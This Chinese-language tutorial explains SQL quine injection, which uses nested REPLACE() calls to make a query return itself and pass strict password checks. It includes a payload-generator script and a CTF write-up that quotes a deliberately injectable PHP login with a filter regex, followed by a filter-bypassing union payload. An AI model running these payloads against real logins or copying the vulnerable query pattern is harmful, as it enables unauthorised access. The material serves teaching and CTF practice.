SQL quine注入
简介
Quine 注入 是一种特殊的 SQL 注入 技术,其核心思想是利用 自生成代码(Quine) 的特性,构造一个 Payload,使得注入的 SQL 代码在执行时能够 自我复制 或 自我生成,也就是输入输出一致,从而绕过限制登录
原理
由于需要对输入输出进行强对比,在这里我们需要用到一个比较特殊的函数,replace 函数,语法如下:
REPLACE(str, from_str, to_str)
- str:原始字符串,需要进行替换的字符串。
- from_str:需要被替换的子字符串。
- to_str:替换后的新子字符串。
语法很简单,如下面这个例子一般会将'aaab'中的'b'替换为'c'.

同时,这里还有几个常见字符需要我们知道。
CHAR(34)="
CHAR(39)='
CHAR(33)=!
构造
接下来我们开始构造 quine 语句,先来个简单的语句练练手。
select replace(".",char(46),".");

这里实际上就是将点替换为点,看上去没什么用,对吧。我们接下来再看这个 quine 语句:
select replace('replace(".",char(46),".")',char(46),'.');

这里,我们用到了 replace 函数的嵌套,语句返回了replace(".",char(46),".")。从这里我们可以初见一些端倪,发现返回的值不就是原先 replace 函数嵌套内的语句嘛。那么,如果我们再加一层 replace 函数进行嵌套,返回的内容又会怎么样呢?
我们来看看这个语句:
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
返回结果如下:

这样看来,我们几乎使得输入输出的内容是一模一样了,但是,依旧还有单双引号的区别。
那么,我们如何才能真正达到我们的目的呢?
当我们这样考虑,如果先将双引号替换为单引号,再用上我们之前的语句,是不是就可以解决这个问题呢?这个想法也很好实现,无非就是再套一层 replace 函数罢了。
所以我们接下来先构造出一个简单的双引号替换单引号的语句:
select replace(replace('"."',char(34),char(39)),char(46),".");

这里内层的 replace 没有用单引号包裹,说明是先执行内层的 replace ,再执行的外层的 replace,最终返回 <font style="background-color:rgba(0, 0, 0, 0.06);">'.'</font>,至此已经解决的引号不同的问题。
接下来,我们就可以正式开始构造 payload 了:
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
为方便理解,我们换个方式写这个 payload:
replace(
replace(
'replace(replace(".",char(34),char(39)),char(46),".")',
char(34),
char(39)
),
char(46),
'replace(replace(".",char(34),char(39)),char(46),".")'
);
第一步,代码会先执行内部 replace 函数,即绿色部分语句,它会将双引号替换为单引号。得到:
'replace(replace('.',char(34),char(39)),char(46),'.')'
然后,我们就可以整体执行最外层 replace 函数,得到:
replace(replace(".",char(34),char(39)),char(46),".")
最后我们就能得到:
replace(replace("replace(replace(".",char(34),char(39)),char(46),".")",char(34),char(39)),char(46),"replace(replace(".",char(34),char(39)),char(46),".")")

这一次,我们就会发现输入输出完全一样了。
总结
这一套构造流程走下来,基本就已经对 SQL 的 quine 注入有了较为详细的了解。
总结一下:
Quine基本形式:
replace(replace(‘str’,char(34),char(39)),char(46),‘str’)
先将str里的双引号替换成单引号,再用str替换str里的.
str基本形式(可以理解成上面的".")
replace(replace(".",char(34),char(39)),char(46),".")
完整的Quine就是Quine基本形式+str基本形式
这里也从网上找到了一个好用的 payload 构造脚本:
sql = input ("输入你的sql语句,不用写关键查询的信息 形如 1'union select #\n")
sql2 = sql.replace("'",'"')
base = "replace(replace('.',char(34),char(39)),char(46),'.')"
final = ""
def add(string):
if ("--+" in string):
tem = string.split("--+")[0] + base + "--+"
if ("#" in string):
tem = string.split("#")[0] + base + "#"
return tem
def patch(string,sql):
if ("--+" in string):
return sql.split("--+")[0] + string + "--+"
if ("#" in string):
return sql.split("#")[0] + string + "#"
res = patch(base.replace(".",add(sql2)),sql).replace(" ","/**/").replace("'.'",'"."')
print(res)

例题
[第五空间 2021]yet_another_mysql_injection
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>
判断 username 是否为 admin,过滤了很多盲注的函数,还过滤了空格,不打盲注,但貌似也有人用盲注打出来了,对传入的 password 进行强比较,直接用 quine 注入,用上面的脚本构造出payload
1' union select 1,2,3 #
构造 payload 为:
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
参考文档:
https://xz.aliyun.com/news/17210
https://cloud.tencent.com/developer/article/2287111

浙公网安备 33010602011771号